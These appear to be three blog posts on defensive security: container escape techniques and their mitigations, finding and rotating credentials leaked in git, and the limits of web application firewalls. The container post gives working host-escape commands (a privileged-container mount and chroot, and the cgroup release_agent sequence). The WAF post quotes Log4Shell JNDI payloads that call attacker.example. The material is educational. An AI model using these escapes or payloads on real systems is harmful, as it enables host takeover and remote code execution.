Author: canutethegreat

  • Container Escape Vectors: A Practical Walkthrough of Namespace and Cgroup Weaknesses

    Container Escape Vectors: A Practical Walkthrough of Namespace and Cgroup Weaknesses

    Containers aren’t a security boundary. They package several Linux kernel primitives that happen to produce process isolation as a side effect, and if you treat a container like a VM you’ll eventually get burned. This post covers what enforces container isolation, three escape techniques that have shown up in production, and the mitigations worth bothering with.

    What’s actually isolating the container

    Layered diagram of container isolation: namespaces, cgroups, capabilities, seccomp

    There’s no single “container” kernel object. Docker, containerd, and friends compose four separate mechanisms.

    Namespaces partition what a process can see: pid (process tree), net (network stack), mnt (filesystem mounts), uts (hostname), ipc, and user (UID/GID mapping). A process in a new PID namespace sees itself as PID 1 and can’t see host processes, but it’s still the same kernel, same syscall table, same vulnerabilities.

    Cgroups (v1 or v2) limit and account for resource usage: CPU, memory, I/O, PIDs. They control resources, not confidentiality or integrity. Cgroup v1’s release_agent mechanism in particular is a privileged hook that has nothing to do with isolation, and as we’ll see below it can lead straight to host compromise.

    Capabilities split root’s power into roughly 40 discrete privileges (CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_SYS_PTRACE, and so on). A container running as UID 0 with a reduced capability set isn’t the same as host root, but Docker’s default set is still broad, and CAP_SYS_ADMIN alone gets you close to full root for a lot of practical purposes: mount manipulation, cgroup control, some device operations.

    Seccomp filters which syscalls a process can invoke at all, independent of capabilities. Docker ships a default profile blocking around 44 syscalls (keyctl, add_key, mount, umount2 in some paths, ptrace variants, kernel module loading, etc). Disabling it with –security-opt seccomp=unconfined is a common way to remove a real security control while chasing a build error you don’t fully understand.

    Nobody designed these four mechanisms together as a sandbox. Each closes off a slice of the host kernel’s attack surface, and the escapes live in the gaps between them.

    Escape 1: privileged containers and /dev access

    docker run –privileged disables almost everything above: full capability set, no seccomp, no AppArmor or SELinux confinement, and access to host devices. If the container can see host block devices under /dev, it can mount the host root filesystem directly:

    # inside a --privileged container
    mkdir /mnt/hostfs
    mount /dev/sda1 /mnt/hostfs
    chroot /mnt/hostfs /bin/bash
    # now you are root on the host filesystem

    This isn’t a bug, it’s documented behavior of –privileged. It still shows up constantly: CI runners, “just make it work” Kubernetes manifests, Docker-in-Docker setups that grab –privileged to avoid debugging a permissions error. The fix is to find the one or two specific capabilities or device mounts the workload actually needs (–cap-add SYS_PTRACE, –device=/dev/foo), which is almost always possible once you check.

    Escape 2: CVE-2019-5736, runc file descriptor overwrite

    This one is a real runtime race, not a misconfiguration. runc versions before 1.0-rc7 (used under the hood by Docker, containerd, Kubernetes) were vulnerable to an attack where a malicious container could overwrite the host runc binary itself.

    Here’s the mechanism: when runc exec enters a running container, it briefly opens its own binary via /proc/self/exe inside the container’s mount namespace, to re-exec itself with dropped privileges. A container process controls its own /proc/self/exe target. Replace your own binary with a malicious ELF that, when run as the container’s entrypoint, opens /proc/self/exe for writing and holds the fd open, and you can race runc into writing to that fd instead of a temp file. Since the host runc binary is mapped in during this handoff, the attacker overwrites the actual runc executable on the host with their own payload. The next container started or exec’d into on that host runs the attacker’s code as root.

    It stung because it broke the assumption that “non-privileged container, default config” was safe against a malicious image or a compromised process. The fix was having runc copy itself to a memfd (memfd_create) and exec from there instead of touching a path on disk, which removes the overwritable target. Patch your container runtime (runc, containerd, crun) on the same schedule as your kernel.

    Escape 3: cgroup v1 release_agent abuse

    Cgroup v1 supports a release_agent file: a host-side executable path the kernel invokes, as root, on the host, whenever a cgroup becomes empty. Give a container CAP_SYS_ADMIN and write access to a cgroup hierarchy’s release_agent, which happens with –privileged or with mounted cgroupfs and relaxed capabilities, and it can point that path at a script of its choosing and trigger it:

    mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
    mkdir /tmp/cgrp/x
    echo 1 > /tmp/cgrp/x/notify_on_release
    host_path=$(sed -n 's/.*\perdir:\([^,]*\).*/\1/p' /proc/self/cgroup)
    echo "$host_path/cmd" > /tmp/cgrp/release_agent
    echo '#!/bin/sh' > /cmd
    echo 'ps aux > /output' >> /cmd   # runs as host root
    chmod +x /cmd
    sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

    Researchers including Felix Wilhelm have written this one up extensively. It works because cgroups were never an isolation mechanism: release_agent is a host-wide control hook, and a sufficiently privileged container process can reach it. Cgroup v2’s unified hierarchy scopes release_agent differently and closes off this specific path, which is one reason to be on v2 by now.

    Mitigations that actually reduce risk

    Drop capabilities. Start from –cap-drop=ALL and add back only what you’ve actually measured as needed. CAP_SYS_ADMIN, CAP_SYS_PTRACE, and CAP_SYS_MODULE have no business being default-on.

    Don’t use –privileged in production. A workload that “needs” it almost always needs one specific capability or device, not the entire host.

    Run containers rootless (Podman rootless, or Docker’s rootless mode). User namespace remapping maps “root” inside the container to an unprivileged UID on the host, so a full in-container compromise doesn’t hand over host root.

    Keep the runtime patched. CVE-2019-5736-class bugs live in runc, containerd, crun, not in your application code. Track your container runtime’s CVEs with the same priority you give kernel CVEs.

    Use seccomp, and don’t disable it just to make an error go away. If a syscall is genuinely blocked and genuinely needed, add it explicitly to a custom profile instead of going unconfined.

    Prefer cgroup v2, where the release_agent host-hook vector doesn’t apply the same way.

    For genuinely untrusted workloads, reach for a sandboxing runtime. gVisor (runsc) intercepts syscalls in userspace and reimplements the kernel surface; Kata Containers runs each container in a lightweight VM with its own kernel. Both add real isolation boundaries that namespaces and cgroups alone can’t provide, and the performance hit is usually worth it for multi-tenant or untrusted-input workloads.

    Every technique above has been public for years, and every mitigation here is a config change. In my experience the gap between “container” and “isolated” is usually a missing –cap-drop, an unpatched runc, or a –privileged flag somebody added to make an error go away. I’d check those first.

  • Secrets in git: how credentials leak, how to find them, and what to do after a leak

    Secrets in git: how credentials leak, how to find them, and what to do after a leak

    Every engineer I know has either committed a secret to a repository or reviewed a change that did. It’s one of the most ordinary security mistakes there is, and it keeps showing up at the start of serious breaches because a credential in git is durable, copyable and easy to search for at scale.

    Two well-documented cases set the stakes. In 2016, attackers got into a private GitHub repository used by Uber engineers, found AWS credentials in it, and used them to download personal data on about 57 million riders and drivers from S3. In 2022 Toyota disclosed that source code for its T-Connect service had sat in a public GitHub repository for nearly five years, with an access key for a data server that held around 296,000 customer email addresses. Neither required anything clever. Someone read a file.

    How secrets actually end up in history

    Flowchart: when a secret leaks into git, revoke it first, check audit logs for use, scope the exposure, replace it from a secret manager, and only then optionally purge history; prevention via hooks, CI scanning, push protection and short-lived credentials

    The obvious path is a config file with a real value in it. A .env that wasn’t in .gitignore yet, a settings.py with a database password “just for local testing”, a Terraform variables file. The less obvious paths cause more trouble:

    • A secret is committed, noticed in review, and removed in the next commit. It’s still in history, and in every clone and fork made in between.
    • A test fixture or recorded HTTP cassette captures a real Authorization header.
    • A Jupyter notebook saves its output cells, including the token someone printed while debugging.
    • A Dockerfile copies the whole build context into an image layer, .env included. That’s not git, but the same people push both.

    The scale is large. A 2019 NDSS paper by Meli, McNiece and Reaves scanned public GitHub over several months and found secret leakage in over 100,000 repositories, with thousands of new, unique secrets leaking every day. Attackers run the same kind of scanning continuously. Assume a key pushed to a public repository is found within minutes, not days.

    Private repositories are not a vault either. The Uber repository was private. Anyone with read access, every laptop clone, every CI runner and every third-party integration with repo scope has a copy of the full history.

    Scanning: before commit and across history

    There are good open source scanners, and they complement each other. Gitleaks is fast and regex-based, and works well as a pre-commit hook. TruffleHog’s distinguishing feature is verification: for many credential types it calls the provider’s API to check whether a found key is live, which cuts the noise enormously when you’re scanning years of history.

    Scan the whole history, all branches, once:

    gitleaks git -v .              # older releases: gitleaks detect --source . -v
    trufflehog git file://. --only-verified

    Then stop new ones at the developer’s machine. With the pre-commit framework:

    # .pre-commit-config.yaml
    repos:
      - repo: https://github.com/gitleaks/gitleaks
        rev: v8.30.1
        hooks:
          - id: gitleaks

    A local hook is easy to skip with --no-verify, so run the same scanner in CI on every push and fail the build. On GitHub, push protection blocks pushes containing recognized secret formats at the server, and it has been on by default for pushes to public repositories since early 2024. GitHub’s secret scanning partner program also forwards leaked tokens to the issuing provider. AWS, for one, reacts by attaching a quarantine policy to the affected IAM user, which is a nice safety net and a terrible plan.

    Expect false positives and handle them deliberately, with an allowlist entry or an inline ignore comment that a reviewer can see. A scanner everyone has learned to bypass is worse than none, because it gives the impression of coverage.

    After a leak, rotate first

    The most common mistake I see after a leak is reaching for history rewriting first. People spend an afternoon with git filter-repo, force-push, and feel done, while the key still works. Rewriting history doesn’t un-leak anything. Clones, forks, CI caches and attackers’ scrapers already have it. On GitHub, old commits can stay reachable by SHA, through pull request refs, and in cached views until support purges them.

    The order that works:

    1. Revoke or rotate the credential. Now, before anything else.
    2. Find out whether it was used:
       aws cloudtrail lookup-events \
         --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIA...
       (or the provider's equivalent audit log)
    3. Scope the exposure: when was it committed, who had access, was it public.
    4. Deploy the replacement from a secret manager, not a new file in the repo.
    5. Then clean history if you still want to.

    Step 2 is the one people skip, and it’s the one that tells you whether this was a near miss or an incident. Look at the full window from the first commit, not just since someone noticed. Toyota’s key was exposed for years.

    If you do rewrite history, git filter-repo is the maintained tool:

    # remove a file from every commit
    git filter-repo --invert-paths --path config/.env
    # or replace literal values listed one per line in a file
    git filter-repo --replace-text leaked-values.txt

    Every collaborator then has to re-clone, and the old history lives on in any fork you don’t control. That’s why rotation is step one.

    Making it rare

    Scanners catch mistakes. The structural fix is having fewer long-lived secrets that can be committed in the first place. CI systems can usually authenticate to cloud providers with short-lived OIDC tokens rather than stored access keys, and GitHub Actions, GitLab CI and others support this with AWS, Azure and Google Cloud. Applications can read secrets at runtime from a secret manager or have them injected by the platform, so the repository only contains the name of the secret, never its value. Give every credential an owner and an expiry, so rotation is a routine job instead of something you discover you can’t do during an incident.

    Watch the neighbours of the repository too. A set -x in a deploy script prints every expanded variable into the CI log, and build logs are often readable by far more people than the secret store. Most CI systems mask registered secrets in output, but only the exact registered value, not a base64-encoded or URL-encoded copy of it.

    I’d rather have a team that rotates a leaked key in ten minutes than one that never leaks a key, because the second team doesn’t exist. Build the scanning so leaks are caught early, and build the rotation so catching one is boring.

  • Web application firewalls: what they catch, what they miss, and why they don’t fix the bug

    Web application firewalls: what they catch, what they miss, and why they don’t fix the bug

    I’ve sat in a lot of meetings where a vulnerability report was closed with “we’re behind a WAF”. It’s an understandable reflex. The WAF is a product with a dashboard full of blocked attacks, and the bug is a ticket that competes with features. But a web application firewall is a filter in front of your code, not a change to it. It’s very good at some jobs and close to useless at others, and knowing which is which decides whether it’s protecting you or just making you feel protected.

    How a WAF decides

    Diagram: textbook SQL injection, XSS and scanner traffic are blocked by the WAF, while obfuscated payloads, JSON SQL injection, oversized bodies and broken authorization requests pass through to the application

    Under the vendor branding, most WAFs work the same way. They parse each HTTP request (method, path, query string, headers, cookies, body), normalize it by decoding URL encoding, HTML entities and so on, then run the result past a set of rules. Rules are mostly pattern matches for attack syntax, plus some protocol sanity checks and rate limits.

    The OWASP Core Rule Set, the open rule set used by ModSecurity, Coraza and a number of commercial products, is a good place to see this in the open. It uses anomaly scoring: each matching rule adds points, a critical match adds 5, and the request is blocked once the inbound score reaches a threshold (5 by default). Paranoia levels 1 to 4 trade more detection for more false positives.

    # crs-setup.conf
    SecAction "id:900000,phase:1,pass,nolog,setvar:tx.blocking_paranoia_level=2"
    SecAction "id:900110,phase:1,pass,nolog,\
      setvar:tx.inbound_anomaly_score_threshold=5,\
      setvar:tx.outbound_anomaly_score_threshold=4"

    Worth knowing if you run ModSecurity yourself: Trustwave ended its support in July 2024, and the project moved to OWASP. Coraza is a Go reimplementation that runs CRS, and it’s where a lot of new deployments go.

    What a WAF is good at

    A WAF reliably stops commodity attack traffic. Scanners firing textbook SQL injection, path traversal and XSS payloads at every parameter get blocked, which drops a huge amount of noise from your logs and closes the easy wins for opportunistic attackers. If you have a legacy app full of string-concatenated SQL that nobody will fix this year, a WAF at paranoia level 2 is a real improvement.

    Its best use, in my opinion, is virtual patching. When a critical CVE lands in a framework you run, a targeted rule can block the exploit pattern within hours, long before your fix gets through build, test and deploy. In December 2021 the first Log4Shell (CVE-2021-44228) rules went out from most WAF vendors within a day, and they genuinely blunted the first wave of mass scanning.

    What it misses

    That same Log4Shell week shows the limits too. The first rules matched ${jndi:. Attackers immediately switched to lookups that Log4j evaluates but that don’t look like the string, for example:

    ${${lower:j}ndi:ldap://attacker.example/a}
    ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/a}

    Vendors updated their rules, attackers found new encodings, and the cycle ran for weeks. The WAF was trying to predict every input the vulnerable code would interpret, which is the same parser problem as the bug, just one layer further out. The actual fix was upgrading Log4j.

    Parser disagreements are a general weakness, not a one-off. In 2022 researchers at Claroty showed that SQL injection payloads using JSON operators, which major databases had supported for years, sailed past WAFs from several large vendors because the rule sets didn’t understand JSON syntax in SQL. Any time the WAF and your application parse a request differently (duplicate parameters, odd content types, multipart edge cases, JSON with repeated keys) there’s room for a payload the WAF sees as harmless and the app sees as an attack.

    There are also plain capacity limits. AWS WAF behind an Application Load Balancer only inspects the first 8 KB of a request body. CloudFront and API Gateway default to 16 KB and can be raised to 64 KB. What happens to the rest depends on each rule’s oversize handling setting, and the default simply evaluates the part that was inspected, so whatever sits past the limit is never examined. An attacker who pads a JSON body past the limit can put the interesting part where nobody looks.

    Then there’s the large class of bugs a WAF can’t see at all, because nothing about the request is malformed. Broken object level authorization, number one on the OWASP API Security Top 10, is a request for /api/invoices/1043 from a user who owns invoice 1042. It looks exactly like a legitimate request because it is one, apart from who sent it. The same goes for authentication logic flaws, missing rate limits on password reset, price manipulation, race conditions in checkout. The WAF doesn’t know your business rules, and no signature can encode them.

    Running one well

    If you deploy a WAF, deploy it like any other control that can break production. Start in detection mode (SecRuleEngine DetectionOnly in ModSecurity, count mode in AWS WAF) and watch real traffic for a week or two. Then write narrow exclusions for the false positives you find:

    SecRule REQUEST_URI "@beginsWith /api/cms/articles" \
      "id:1001,phase:1,pass,nolog,\
      ctl:ruleRemoveTargetByTag=attack-xss;ARGS:body"

    That removes XSS checks from one field on one endpoint, which is the right granularity. The common mistake is disabling a whole rule globally because one form tripped it, and repeated a few dozen times that turns your WAF into an expensive logger.

    Send its logs somewhere people look. A WAF blocking a burst of exploit attempts against one endpoint is a strong signal that someone found something interesting there, and that’s worth a human glance.

    The bug is still there

    Every WAF rule that’s covering a real vulnerability should have a ticket next to it for the code fix, with a date. Virtual patching is a way to buy time, and you should spend that time on the fix rather than treat it as found money. The goal is a codebase where the WAF only catches noise, because the bugs behind it have been fixed: parameterized queries, output encoding, real authorization checks on every object, and dependencies kept current.

    I’d keep the WAF after that too. Defence in depth is real, and blocking scanners is useful. Just don’t let the dashboard’s blocked-attack count stand in for the question that matters, which is whether the application would be safe without it.